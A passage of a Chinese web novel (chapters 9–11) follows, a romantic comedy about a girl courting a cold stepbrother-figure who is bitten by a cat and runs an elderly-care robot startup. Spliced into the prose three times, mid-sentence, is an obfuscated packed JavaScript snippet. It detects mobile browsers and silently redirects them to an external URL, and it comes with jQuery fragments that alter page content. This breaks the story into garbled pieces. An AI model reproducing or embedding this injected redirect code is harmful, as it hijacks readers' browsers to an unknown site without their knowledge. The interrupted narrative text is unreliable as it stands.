“免疫蛋白按体重收费,10kg一针,不满10kg的部分统一再加一针,你这个伤口……”护士阿姨迟疑了一下,神情也有些不忍,“你这个伤口有点多,如果所有位置都要打到的话,还要额外再加六针左右。” “在伤口周围打一圈,然后是手指和大腿,打完之后还有两针狂犬,过段时间再来补针。” 姜厘在少爷背后站着听,视线在他狰狞的伤口上停留数秒,神情逐渐变得惶恐。 代入想想,还真挺恐怖的。扎在伤口附近,还要打大腿和手指…… 护士阿姨利落地起身:“我先备药,你们去收费室结完账后,在就诊室等我。” 姜厘还在后怕的心脏没来得及处理其他事务,她条件反射般跟着陈屹泽走到收费处,直到听见护士隔着玻璃板让他们缴费的扩音,她才猛地被点醒,紧急尿遁:“我去上个厕所!” 她腿还没迈出, 滴地一声,卡已刷完。 快得姜厘有些没反应过来,她怔愣地撞进陈屹泽黝黑的乌眸中,男生瞳孔幽幽,像是沙尘天气无法窥见的圆月,透出几分看破。 姜厘脸上有点臊,她嚅唇,干巴巴地帮人拿收费单据,嘴上还饶有说辞:“……我刚还说我来帮你付款的,毕竟你是为了帮我才被咬伤的。” 女生凝眉,看着很是难办,“下次不许这样了,罚你给我转两百。” “……”陈屹泽简直要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002804|161844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被她气笑了,翻了个白眼,脚步自觉加快。 姜厘嘻嘻笑着,一路跟到就诊内室,才被嘭的一声关门挡在门外。 … 护士阿姨的准备工作已经全部做好,刚从冷藏室拿出的针剂还冒着丝丝寒意,整齐放置在桌面上。 陈屹泽视线从手臂上的消毒棉球挪开,这时才有时间掏出一直振动的手机。 寝室群中徐轻川大概把事件经过讲了一遍,而后三位男生统一把关注点放在了那位见义勇为救下的小迷妹身上,一直闲扯了几十层楼,徐轻川才在群里@他,让他发位置,准备来探病。 临到下课,徐轻川又在群里哭嚎被叫去问话了,让赵朝和刘出岸两人先去,他随后就到。 低垂的眉睫忽地一颤,陈屹泽划着屏幕的手指本能顿住。 护士已经开始操作,微凉的针剂刺入本就肿胀的伤口,挤压出不少黄腻的组织液。 痛感汹涌,男生下颌线紧绷,注视着入针画面的瞳孔倏地被温柔的触感遮住。 陈屹泽睫毛不适地颤了颤,随后听见姜厘轻柔,不同于以往的认真口吻: “谢谢你刚才保护我,哥哥。” 亲眼看见治疗画面确实冲击力巨大,就连刚才去收费处购买的眼药水道具,姜厘都不忍心用了。 她感觉她不用借助外力也能挤出几滴泪来,她最怕疼了。 原本的冷白肌肤被暴起的青筋和黄色碘伏及组织液占据,陈屹泽没推开姜厘挡住视线的手掌,只是往后挪了挪,避免了两人的肢体接触。 姜厘好像并没注意到这点,她正呲牙咧嘴地盯着他的手臂,虽没发声,但表情太过浮夸,也隐约像能听见她忍痛的嘶哈声。 陈屹泽挪开眼,下意识望向她被护得好好的,没半点划痕的小腿。 干净纤长,好好地遮在长裙膝下。 片刻,他又移开视线。 - 到最后注射大腿的环节,陈屹泽黑着脸把她推了出来,姜厘撇撇嘴,一屁股坐到长椅上,掏出口袋的眼药水来。 买都买了,不用白不用。 虽然略显浮夸,但难保世界上就有这种感情充沛的女孩子呢。伤在你身,痛在我心不是说说而已。 我crush被猫咬了,我心疼呜呜呜。 姜厘干脆利落地拧开瓶盖,对着诊室洗手台上方的整冠镜开始“被动流泪”。 徐轻川因为课上没答出自己作业的设计思路被扣留在教室口头教育,刘出岸和赵朝事先查了狂犬注射的帖子,在院门口扫了辆单车,拎着两包橘子就过来探视病人了。 微信分享的位置只显示了医院名称,并没有具体到哪个科室,这家社区医院虽然规模不小,但科室划分并不明晰,就诊室除了内科就是外科,门口也没有显示屏标出就诊人姓名。 两兜可怜巴巴的橘子从外科一诊室门口晃到外科五诊室,刘出岸终于找到一间没闭着门的房间,激动地拍了拍同行好友赵朝的胳膊。 “是这间吗是这间吗!” 听到响动的姜厘泪眼婆娑地回眸。 “……” 赵朝唇角微抽,斩钉截铁地将人拽出:“不是。” “这间一看就是死了老公的。” 9. 第 9 章 赵朝刚说完这话,陈屹泽就从诊疗室走了出来。 男生高大落拓的身形稍显疲累,手臂上泛着红的针眼密密麻麻,他稍稍往下睨了姜厘一眼,在两人擦肩而过时友善提醒了声。 “眼药水掉了。” 蓝色小瓶滴眼液在她鞋舌边静静躺着。 包装纸上的笑脸logo在这种情形下显得异常诡异。 姜厘眼睛闭了闭,在陈屹泽看向她的瞬间迅速蹲下身捡回了自己的滴眼液,顺带呼啦干净了两腮的泪痕,华丽转身,神情坚韧且强装无所谓道: “刚才把眼哭肿了,买了瓶滴眼液润了润,没事哥哥。” 陈屹泽:“……” 他没问,谢谢。 “哥哥?”杵在门口半进不进的刘出岸意识到问题所在,身体惊愕地后仰,“真有个妹妹?!” 巨大的信息量在脑中疯狂运转,赵朝和刘出岸还没缓冲过来,站在一旁的姜厘就自觉礼貌地朝两人淡笑:“学长们好,我是H大交叉信息院的准新生,我叫姜厘。” “准新生……” 两人的注意力又被吸引到另一个方向。 高考成绩不是还没出吗? 赵朝心里涌出一个可能,视线在姜厘脸上多停留了几秒。 似乎是觉察到了赵朝的欲言又止,姜厘微张唇,和顺地向他们解释:“我是走竞赛来的。” 刘出岸瞬间倒吸一口冷气:“竞赛咖……姚班大佬。” 如果说985,211是普通学历的等级,那么H大就有他自己的衡量标准,这里每个人几乎都是各省市的尖子生,但尖子和尖子还是有区别的。 2004年,首位华人图灵奖获得者辞去美国普林斯顿大学的执教,回国来到H大创办了姚,智两班级。 班级隶属于H大交叉信息研究院,H大学子一般尊称叉院。 姚班里录取的一般为竞赛保送咖,其余学子需要入学后二度考核。 陈屹泽就是极少数,入学后跨考进的姚班,甚至还要修双学位。 不是说叉院都是眯眯眼怪物吗?! 赵朝,刘出岸眼神在面前两位有颜有脑的大神身上顿住,世界观受到了巨大冲击。 这一家子都是什么人啊! 托陈妄山的福,陈屹泽对姜厘的现况了如指掌,听她说到这些也没觉得有什么新奇的。 男生百无聊赖地从口袋掏出手机,近距离拍了张手臂伤后图片,而后指尖在屏幕上轻点,发给陈妄山,向他索赔五百万。 手机上柏然的消息跳出,姜厘接收到猫咪们已体检完成的消息,从胸腔舒出口气,又敛眸试探地环视一周,把视线投在看起来最好说话的刘出岸身上,语气微弱:“学长,快中午了,我能不能和你们吃饭?” 这算什么大事。 刘出岸一拍胸脯,张口就要应下:“没问——” “不能。” 陈屹泽打断得无情,略拖的尾音中透着股不近人情的冰冷。 他眼皮抬都没抬,注意力还放在手机屏幕上。 “为什么不行?”姜厘不服。 陈屹泽随手往刘出岸身上指,没带脑子敷衍道:“他厌女,极端男权主义者。” 刘出岸:“?” 话音刚落,一道可怜巴巴的目光应声落到他身上。 姜厘的目光实在让人无法拒绝。 虽然不知道这个横空出世的妹妹是从来冒出来的,但秉着兄妹哪有隔夜仇的道理,刘出岸还是咬牙当起了和事佬:“其实我们本来是要去办公楼那边吃外卖的,如果学妹你不介意的话,可以一块过去。” “我不介意!”姜厘表态表得十分迅速,下一步又抓起桌面上装着消炎药的塑料袋,连蹦带跳地冲了出去。 “活蹦乱跳的姚班大佬……” 刘出岸神情恍惚,三秒后才察觉到侧边男生古井般透着寒意的黝黑视线。 “呃……你不觉得有个妹妹很好玩吗?” 陈屹泽面容冷峻,一言不发往外走。 “她多可爱啊!!” - 姜厘本以为刚才刘出岸说的会议室是学校开放、用以学生日常交流的学术会议室,直到CBD办公楼外的玻璃幕墙映上她呆滞的脸。 高耸入云的写字楼门前出入匆匆,一身稚嫩白裙的姜厘在穿戴工整的职业男女中显得格格不入。 她静声跟在陈屹泽一众人身后,一直到刷卡上电梯才忍不住发问:“这是来陈叔叔公司的会议室?” 刘出岸和赵朝欲言又止地笑了笑,直到叮地一声,电梯门打开,两人才接连回她: “不是,是陈哥尝试做的项目。” “学校科研课题的规则要求很多,他自己在外面做的。” 自己在外面做项目……大一?? 果然少爷的生活就是超前于一般家庭的小孩。 姜厘收起瞠目结舌的神情,努力接收了这个消息。 项目还处在前期阶段,所以陈屹泽租的场地并不大,一个十人位置的会议室,一间单独茶水间,十张办公位,以及一间百平的实验操作间。 磨砂质感的厚重玻璃门推开,姜厘忽然看见个熟脸。 徐轻川拎着一兜子外卖刚放下,正不堪重负地锤着自己肩膀,他好像早就知道姜厘的到来,怕她不适应,朝人招手,热情道:“来,妹妹过来。” 姜厘下意识回头望了望陈屹泽,得到一句“看什么看”的不善回应后收回目光,果断坐了过去。 tmd,要是真让她选男朋友,她选谁还不一定呢。 要是有朝一日,姜厘真的能把陈屹泽追到手,完成自己最终目标后,她绝对甩了他第二天就去追徐轻川。 姜厘乖巧坐下,接过徐轻川递来的饭盒道了声谢。 徐轻川大手一挥,吊儿郎当道:“这事有什么可谢的,蹭个饭而已。” “不过学妹,我们一会可能没空陪你玩,你可以戴耳机追剧。”徐轻川语调中带着不让人反感的小骄傲。 哥哥们在搞高精深的项目,妹妹你崇拜吗! 装装的,很安心。 姜厘扬唇刚要答好,一边的刘出岸实在没脸看,冲上去肘击他:“人家姚班的竞赛佬,你是什么小虾米。” “??”徐轻川差点没站住,“我靠,真的假的。” 徐轻川家里人也让他金融和人工智能类方面双修来着,他入学后尝试考了次叉院姚班,苦学一阵后将将录取后均绩点也只在3.5,跟原始竞赛怪物佬根本没法比。 “人不可貌相……”果然it专业的差生只能挨踢。 徐轻川忽然觉得有点冷。 “其实我还没学到什么……” “那也是时间问题了,这么说的话你就不要追剧了,听听我们的会议内容,看看能不能给我们什么启发。”徐轻川走去拉住百叶窗,顺势启动了会议投屏。 外卖盒子分发给众人,姜厘趁着这个当口探身看见陈屹泽碗中是清淡的鸡蛋羹和青菜。 病号餐好惨…… 她本来就是来刷眼熟的,也不指望在这种没了解过的研发领域冒失出头。 姜厘自顾自打开了外卖盒,边吃饭边安静听着他们开会。 从交谈中粗略得知,陈屹泽他们研发的项目聚焦老年人,一是陪伴型的老年机器人,主要用途是在居家方面照顾老人,除去做饭这一项无法实现外,其余家务以及简单沟通都应该具备。 还有一类是医院专供的陪诊陪床机器人。老人独自看病,不了解繁琐的就诊操作时可以在前台领取一名导医性质的机器人,为老人解决求诊问题,后续也有考虑仪器监管等拓展技能。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002805|161844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >赵朝和刘出岸是金融单专业,没有研发能力,初步负责市场调研。 两人最近通过父母的人脉对接了几家医院,调查显示有百分之六十的老人愿意尝试这种智能的陪伴模式。 但将机器人和其他选项放在一起后,老人的选择就一边倒地倾向了子女陪伴,或者请护工保姆的选项。 ……这些确实比冷冰冰的机器更有人文关怀。 会议室冷不丁安静下来几秒,姜厘不明所以,昂着脑袋环视了圈,她刚要说话,就听见陈屹泽也同时开口。 “我倒是觉得——” “这方面,” 两人同时顿住,陈屹泽倒是无所谓,望了她一眼又支肘回去,示意她先说。 姜厘朝他轻点头示意完,并没有怯场:“以我的角度理解,养老产品的市场针对的并不是老年人,而是中年人。” “就像养老院的推销对象大多是中年人一样,需要机器人辅助的其实是中年子女。机器虽然冷冰冰,不通人性,但优点其实恰恰在不通人性上。” 陈屹泽敲在触控板上的电容笔轻轻一顿,男生乌眉微扬,掀眸,向姜厘投去的视线起了兴味。 “人性有善的那面,也有恶的那面,社会新闻中保姆护工欺负老人的新闻比比皆是,而机器人没有思想,完全可以规避这一风险。” “至于人文关怀……这本来就不在机器人的职责范围内。” 姜厘音色很清爽,这种情况下更给人一种四两拨千斤的轻松感。 陈屹泽瞧她,破天荒地勾了勾唇角,他扔下手中的电容笔,嗓音徐徐又透出肯定:“因为机器的研发本就不是为了取代人,而是协助人。” “机器人的位置是穿插在人无暇分身的时间中的,比如中年人的上班时间,比如保姆护工的工作时间,它可以作为辅助工具来进行陪伴、监督。” “对啊,我们本来就不该要求机器人提供什么人文关怀……”会议室的气氛豁然开朗。 众人脸上神情都有所缓和,徐轻川看看四周,硬着头皮想说什么却又咽了回去,脸上满是纠结。 姜厘离他最近,注意到他的不对劲后小声疑惑道:“怎么了?” 徐轻川挠挠头,也不瞒她:“陈哥让我搞的研发没搞完,刚才教授罚我再跑几个模型,我不吃不喝也没时间啊……” 姜厘眼珠转了转,又凑近了些打探道:“你用的PyTorch还是Stata?” “Stata.” “交给我吧。”幸好她自学过。 “??真的吗!仙女!” 姜厘笑眼弯弯,眉宇中的顽劣气若隐若现:“但你要答应我一个条件。” “我全答应!” … 徐轻川的压力一扫而光,重度拖延症患者甚至又偷懒,跟赵朝刘出岸他们一起放风去了。 三名男生前后走出写字楼,最后面沉稳点的赵朝忽地出声:“我觉得我们还是不要问陈哥那个妹妹的事情了。” “确实。”刘出岸瞳孔有些发散,应声附和。 “什么妹妹?”徐轻川点了支烟,没什么正形地打趣,“不是迷妹吗?” 被英雄救美后就大呼爱您的幼稚小迷妹。 “妹妹。”两人郑重其事地看着他,重复。 “?”徐轻川都有些怀疑自己了。 “……学妹?” “妹,妹。” 世界观崩了,徐轻川低头愕然看着手机屏幕上两人的对话,夹烟的手禁不住轻轻颤抖。 姜厘:【麻烦你啦~】 徐轻川:【小意思,以后我就是你安插在陈哥身边的一根钉,他去哪我分分钟汇报给你。】 徐轻川:【祝你早日拿下陈哥!学妹】 姜厘:【谢谢学长,借你吉言QAQ】 “……” 10. 第 10 章 最后一条消息回完,姜厘昂头舒展了下肩颈。 脚下宠物医院的小边牧正围着她打转,姜厘顺手关掉和徐轻川的对话框,收起手机蹲下身刚要摸摸它,耳边就传来纪娆愈来愈近的嗓音。 “好的好的,谢谢您,这是最后一只需要绝育的猫咪了。” 柏然临时有事离开了宠物医院,只得打电话拜托她过来和纪娆学姐一起应付猫猫们。 姜厘正巧没什么事,地铁两站路就赶了过来。 咬伤陈屹泽的三花猫刚做完绝育,腹部伤口处的绒毛全被剔除了,蔫巴巴的样子显得十分可怜。 它挣扎着想咬身上繁复的绝育服,探头虚弱地拱了拱,最终还是作罢。 姜厘食指戳戳它圆滚滚的脑袋,正贴脸观察着,一边和医生交谈完的纪娆大步迈过来,朝她歉意地笑笑:“不好意思啊学妹,主要最近人手不太够,不然不会麻烦你再跑来一趟。” “没关系的学姐,我恰好下午没什么事。” 陈屹泽下午课是满的,晚上还要在搞科研。她很能理解专注做事时对环境的要求,本来就不打算在人家忙正事的时候套近乎。 听到姜厘这么说,纪娆才舒了口气,她也俯身揉了揉猫妈妈的额头,三花猫似乎终于放下了警惕,眯起了一直瞪圆的眼睛,轻轻打起了呼噜。 它这样确实跟刚才咬人的凶悍样子判若两猫,纪娆看到姜厘迟疑,轻松地笑了下:“其实它刚才也不是要抓你,只是以为自己小孩受到了危险,所以就算害怕自己会受伤也冲了上来。” “母爱是一种本能。” “……” 姜厘没来由地涌出股落寞感,她垂睫努力压着心里的酸涩,片刻后将微弱的心酸转化成了强劲的动力。 “学姐,你能跟我讲讲陈屹泽之前在学校的事吗?” 纪娆并未看出姜厘表情的怪异,倚着导医台,眼神瞬间变得八卦:“你真要追他吗?” “对!” “别人行不行?” “非他不可!!” 纪娆无奈地叹了口气,耸肩对她这只好言难劝的鬼表示尊重,“H大的众多帅哥中就听说他身边一直没有女生,貌似小女生跟他告白都会被无视的。” “我身边倒是没有实操者,但听说隔壁寝室学生物的美女,蓄谋两个月,终于找到机会拦下人告白后,在宿舍整整哭了三天。” “?”不至于吧。 姜厘唇角微抽,忍不住产生一个假想:“是不是他离近了看,长得有些非人。” “嗯??”纪娆狐疑。 “呃,我的意思是帅到不像人。” “那也不至于哭三天吧,反正那位美女跟他告白之后学科的绩点都稳步下滑,从专业中等偏上掉到了垫底。” 纪娆的语气逐渐变得阴恻恻:“你知道的,成绩下降,这才是专属于H大的恐怖传说……” 芥末晦气吗……? 姜厘凭空抖了半抖。 - 除去一些没头没尾的小道消息,纪娆几乎没留下什么值得参考的新线索,唯一值得参考的就是跟陈屹泽告白后不能在寝室连哭三天,否则成绩会下滑。 晚七点,姜厘饥肠辘辘回到陈宅,她弯腰刚在玄关换好拖鞋,身后智能门忽地发出一声轻响。 门开□□外的热风顺着她腰在吹,身后存在感加深的同时,姜厘口袋随之嗡嗡震动了瞬。 她顿了顿,挪到一边掏手机。 徐轻川:【报,观察对象今日可能回家就餐/敬礼】 徐轻川果然不是言而无信的人,姜厘弯了弯唇,暂时收起手机,背过身,优先掐着嗓音甜甜地叫了声哥哥。 空气静默无声,三秒后姜厘收到了她最爱的冷暴力。 陈屹泽微不可察地睨了姜厘一眼,皱眉,看着很嫌弃的样子,绕道径直从她身边掠过。 男生换了件衣服,上午穿的白色短T变成了浅绿色的松垮长袖,额前扣了顶深咖色鸭舌帽,帽檐压住深黑发丝,显得人更为懒散不羁。 路过她时,身上还有淡淡的雪松香。 ……没关系,被无视只是舔狗的日常! 姜厘毫不气馁,调转方向,朝他背影猛竖大拇哥:“哥哥你好帅!” 陈屹泽:“……” 考虑到陈屹泽的手臂伤口状况,姜厘贴心当起了他的小跟屁虫。 她忙前忙后地给人拉餐桌板凳,捧温水,脚不沾地半晌又小跑到厨房朗声叮嘱孙妈,今天要做清淡的病号餐。 在厨房帮忙的何管家有那么一瞬间觉得他的管家称号有些德不配位。 姜小姐这样的才是最人性化的贴身管家! 演了半天也有些累,姜厘松下殷勤的神色,叉腰抹了摸额头,刚刚找了个陈屹泽看不见的角落喝水,眼中对这个世界的纯恨还没消散完,何钟忽然凑过来,目光真挚得甚至火热。 “姜小姐,你对少爷真是太关心了。” 姜厘怔了下,眸色逐渐清明。 她像找到了知己般缓缓翘起唇角:“何管家,有你的认可真好。” “……可哥哥终归不会像你这样想的。”姜厘倏地又垂下眉眼。 “少爷只是有点慢热,相信他会被你打动的。”何钟面容怜悯,安慰地规劝她。 “我知道,我没有怪过他,可能是我前段时间表现得太异样了。” “……”差点没想起来,眼前这位人畜无害的少女好像就是之前吃饭转桌,踢飞篮球的那主。 何钟平白呛了两下,他蜷袖刚要咳出声,又听见姜厘声音细弱:“何叔叔,你能帮帮我吗?” …… 晚餐为了迎合病号的需求,整体菜系都格外清淡,但孙妈怕委屈了姜厘的胃,特意给她单独烧了几根蜜汁牛肋排。 不知道是不是为了防止她之前转桌抢食的情况再度发生,陈家的就餐桌从原本的琉璃圆桌换成了法式红木方桌,并且……实行了分餐制。 菜肴分装在两人面前的小碟子中,分量均等,只有姜厘面前多了几根油润多汁的牛肋排。 姜厘眉心跳了跳,想解释一下自己本质并不是喜欢抢人饭吃,思忖片刻还是作罢。 她实在饿得离谱,默不作声地往嘴里塞了几勺清粥。 俯身吃粥之际,餐厅前的侧壁蓦然传来响动。 姜厘放下手中勺子,看见一张极具智能感的科技大屏从侧壁顶端徐徐降下。 叮叮两声脆响后,巨幕上类似于语音助手的悬浮球贴着屏幕卖萌提醒:“您的父亲致电,是否接听~” “接听。”陈屹泽淡声回道。 姜厘还没反应过来,陈妄山的冷峻成熟面容就出现在了眼前的巨幕上。 “小厘。” “嗯……陈叔叔好。”姜厘这是第二次看见陈妄山,还有些无可适从。 “生活还好吗?小厘,”陈妄山一向不露声色的脸上流露出担忧,“我给你的卡怎么只消费了19块9?” 陈屹泽握筷子的手停住,忽然也一并朝她看去。 他的视线比之前都要潮热几分,像是有实感一样。 姜厘自觉隐约摸到了陈屹泽可能喜欢坚韧自强小白花的事实,眸光婉转流波地对视回去,嗓音浅浅:“哥哥,你也在担心我的生活状况吗?” “不是,”陈屹泽一本正经,“我想说你不用,能不能先给我。” “……” 你怎么不去死!你怎么不去死!!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15002806|161844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜厘第一次破功,转过头,冷冰冰回怼他:“不能。” 男生装模作样地叹了口气,样子十分惋惜:“真不行?” 这次姜厘还没骂人,荧幕上的陈妄山已经憋不住了,不知道是不是这屏幕的音响设备好得出奇,姜厘甚至觉得他的声音就真实地响在她耳边: “你还要不要脸了陈屹泽!妹妹的钱你也抢?!” “要不是你不给我拨款,我至于拿别人的钱?”陈屹泽侧眸盯上显示屏,语气中半点没有要钱要低头的态度。 少爷没这么卑微过。 从自掏腰包搞研发开始,他的钱就像是一捆一捆地往火堆里扔,之前投资的项目暂时拿不回款,这段时间简直是陈屹泽从小到大过得最拮据的日子,低声下气到拍伤口卖惨求钱都没用,真是第一次见。 空气静止几秒。 许是觉得儿子日子过得实在难熬,陈妄山语气松了些,老父亲有些试探道:“所以真被猫咬了啊?” “不然呢?”少爷气得想笑。 “我以为是ai合成。” “……” 姜厘没忍住笑出声,被气头上的少爷连坐,不耐地剜了一眼。 “好了好了,”陈妄山终究还是宝贝自己儿子的,摆摆手松口说一会让财务给他汇款。 “小厘你也不用给我省钱,你妈一直挺担心你的。” 姜厘听到妈妈的消息,忍住脸上的异常,乖巧回应:“我和妈妈平时有通话的,谢谢陈叔叔关心。” “你妈妈可是说了,你身上没剩多少钱,就连之前竞赛保送的奖金都放在她这呢,你要是不用我的钱,我就……不给小泽放款了。” 陈屹泽:“??” 姜厘秒速表态:“谢谢叔叔,我还是决定继续做一个自立的女孩子。” “喂喂!”陈屹泽没招了。 姜厘眉眼弯弯,并不想就这样放过他。 她搭在餐椅上的指尖动了动,望向屏幕,嗓音夹杂着委屈,轻声告状:“叔叔,有件事情我想托您帮我向哥哥说说情。” “你也知道我和哥哥专业有重合,我最近在预习大学课程,自学的时候遇到难题有时候想找哥哥帮助,但是不知道为什么……” “哥哥一直没有同意添加我的微信。” “什么?!”刚才听到姜厘可怜巴巴的音调,他就觉得不对,陈妄山半拍桌面,眉心皱得死死的。 他隔着屏幕,还未发一言,陈屹泽就站起身,利落地打开了手机,少爷手臂支着餐桌,能屈能伸地探身主动: “来,我扫你。” 加,现在就加。 祖宗住口行吗? ……微爽。 姜厘忍着奸计得逞的小表情,磨磨蹭蹭找了半分钟二维码,终于如愿以偿加到了未来被骚扰者的微信。 她笑得浅,陈屹泽却莫名看出几分阴暗。 “哥哥不会挂了电话就把我删了吧?” “……” 陈妄山替他打包票:“他不敢。” 陈屹泽没吭声,重新拿起筷子,没滋没味地挑菜吃。 已过七点,姜厘又回了几个陈妄山关心的话题,眼看两人有来有回,气氛轰得热闹,何管家总算找准时机,完成姜厘交给他的任务。 他脸上堆笑,挑中埋头不发一言的陈屹泽,引导地开口: “少爷,你不觉得自从姜小姐来了后,家里热闹了许多吗?” 姜厘耳尖微动,自豪地挺了挺胸膛,低头等夸。 陈屹泽被cue后丝毫没慌,他目光掠过凹造型的姜厘,转向屏幕,放下筷子嗓音不疾不徐: “爸,何叔都说姜厘吵了。” 姜厘:“??” 11. 第 11 章 您理解能力是不是有些偏差……? 姜厘一口气差点没倒过来,完美假面已经有了裂痕,正当她想着要不要做作地就此离开坐席,抹泪回房装哭时,陈妄山忽然接了通工作电话走了。 巨幕静音重新收入壁顶,坐席那侧,陈屹泽正直直地撑脸望她,黝黑的瞳仁愈加幽深。 “……” 姜厘余光扫到跑路的何管家,咬牙硬上,她嚅了嚅唇,吐字怯生生地:“如果哥哥真的嫌我吵的话,那我还是不说话了,嘤嘤。” “吵。”陈屹泽半挑眉,并不接茬,回得十分冷情。 “嘤嘤。”姜厘继续哼唧。 “……闭嘴。” “呜呜。” “……” - 知恩图报的姜厘把上午的大恩人气下餐桌后,胡乱扒了几口晚餐也溜进了自己的卧室。 赶作业专用软件还在下载当中,她先洗了把脸,刷了几道驾照科目一的题,直到相关应用全都下载完成,姜厘才扎了个爽利的高马尾,一屁股坐到今晚持久奋战的软椅上。 不知道是陈妄山事先了解过她所学专业对电脑硬件的要求还是陈家购物一向都是按最高标准,姜厘手上的这台电脑用来做专业作业也十分流畅。 三分钟前,特务徐轻川准时播报了陈屹泽已到达117宿舍的新闻,姜厘十分满意,并向他要了陈屹泽的听歌软件账号,一边听他歌单,一边着手整理数据。 徐轻川这次的作业是教授额外罚下来的,难度按照他们的学业进度只能说是中等,但处理起来十分磨人,所需要的中外数据繁杂纷乱,不是一晚上能搞定的。 姜厘已经做好了熬几个大夜的准备,软件独自运行时她就收集数据,顺手做几道驾照科一的题。 夜色渐深,桌前的浅蓝色金属小脚闹钟铃铃嚷起来,姜厘猛地从数据堆中抬起头来,她揉了揉泛酸的眼睛,开门拿走门前矮桌上的咖啡。 滚烫的热咖啡在喉间酿出苦味,姜厘拍拍脸颊给自己打气,这才抓起一直扔在侧柜上的手机。 微信消息列表中,陈屹泽的那列依旧一动没动。 姜厘低头回完纪娆约饭的信息和柏然的道谢消息,半蹲着靠在床尾,戳着指尖给陈屹泽发了一条【在吗】 根据徐轻川给的作息表,距不完全统计,陈屹泽在mbti中应该是个j人,计划性较强。 因为徐轻川说他每晚都会去夜跑,虽然有时半小时有时两小时,但晚上十点总会到宿舍。 现在十点过三十,纯情夜跑男应该已经洗完澡了。 姜厘大脑正神游着,手机忽然跳出条消息。 !! 不知道是不是陈屹泽之前给她的印象太冷淡了,姜厘看着对话框中的那条【不在】都十分顺眼。 她垂睫斟字酌句,俏皮地提醒他记得吃医生开的消炎药。 过了十分钟,对面无事发生。 不远处的电脑屏幕上还在不断滚动分析着数据,姜厘咬咬嘴唇,斟酌着再发了一条。 姜厘:【哥哥你今天看见那只猫扑上来咬我的时候,心里想的是什么?】 估计会回: 【想你不受伤】/【什么都没想,脑子一热就过去了】/【不要误会,换任何一个女生我都会这么做】 那么她就可以趁热打铁: 【所以说哥哥也是有点在意我的吗?TVT】/【但哥哥的行动还是保护了我,当时不知道为什么心跳得好快……】/【原来哥哥这么照顾女孩子,了解哥哥后更爱哥哥了呢!】 多么好接的话啊! 甚至还专门挑了个容易让人意乱情迷的深夜来聊这个话题。 妈的,她简直是个恋爱圣体。 姜厘啧啧摇头感慨。 …姜厘啧啧摇了第十八次头后,心脏渐冷,满脸脏话重新点开他的对话框,劈里啪啦打字: 【哥哥,你那个科研项目我挺感兴趣的,想了解点具体情况。】 嗡嗡。 陈屹泽:【目前初步研发阶段,进度为百分之十五左右,上手简单。】 ……不到三秒钟, 陈屹泽发了这么一大段话?! 他是住在她聊天框了吗! 可能是从来没谈过恋爱,她的撩拨让他无可适从了,怪她,话题的目的性应该再弱一些。 有戏。 姜厘揉揉脑袋,信心大涨,重新捡刚才的初级话题。 :【哥哥,你吃药了嘛~】 …… …… …… 无事发生。 姜厘木然:【你好,信奥赛国内前十,《自然语言理解交流》及《机器人学》等大学科目b站课程均通刷一遍,无实操经验。】 嗡嗡。 陈屹泽:【提供学习环境及实操场地,有意向需发过往竞赛奖章或赛季成熟作品。】 姜厘几预抓狂:【哥哥!我想你了!我想你说些有温度的话好不好!】 姜厘:【被猫抓难道不是一个很好的话题吗!快说,别人被抓你都搬板凳过去鼓掌为猫喝彩!只有我被抓,你才会挺身相助!!】 “……” 十分钟后。 【姜厘十年内竞赛奖章汇总.jpg】 点击,发送。 对方秒接收。 陈屹泽:【基本符合要求,能看英文文献吗?】 姜厘要疯了:【你他妈过来亲我一口,我再回答你!!】 姜厘:【你要是再回避我的话题,只聊工作,我就自砂,让你失去一个优秀的科研伙伴!!!】 咖啡杯彻底冷了,姜厘赤红着眼死盯着对话框,等到缩在床尾的腿都发麻之际,寂静的房间内终于有了响动。 门外笃笃传来敲门声。 半分钟后,姜厘面无表情关闭房门,看到陈屹泽的最新消息【叫何管家确认过你安全了,所以能不能看英文文献?】 姜厘:【……词汇量局限于高考六千词,有关技术方面专业词汇我会在一周内背完,熟练阅读时间要更久。】 姜厘:【手边设备仅一台式电脑,性能达标,紧急情况下班后也可居家办公。】 姜厘:【学习能力超强,抗压能力中上,无颈椎病、痔疮等妨碍久坐的疾病。】 姜厘:【还有什么要问的吗?哥哥。】 陈屹泽:【我会买一台可随时办公的笔记本电脑明天寄到家里。】 姜厘:【好的,我会准时砸掉:)】 陈屹泽:【……妹妹乖。】 ? ??? 我敲,你他妈会撩啊!! 姜厘激动地要跳起来,刚要趁着劲聊两句带私心的,聊天框又跳出字来。 【睡了,明天下午会议室见。】 姜厘一腔热血全哽住:【等等哥哥,起码告诉我你有没有吃药!】 陈屹泽随手回道:【全吃完了。】 姜厘:【全部…吗?】 陈屹泽:【嗯。】 ……药片仙人 三天的药,一顿就吃完了。 姜厘没滋没味地咂了下唇,彻底看出了陈屹泽对她的敷衍。 …… 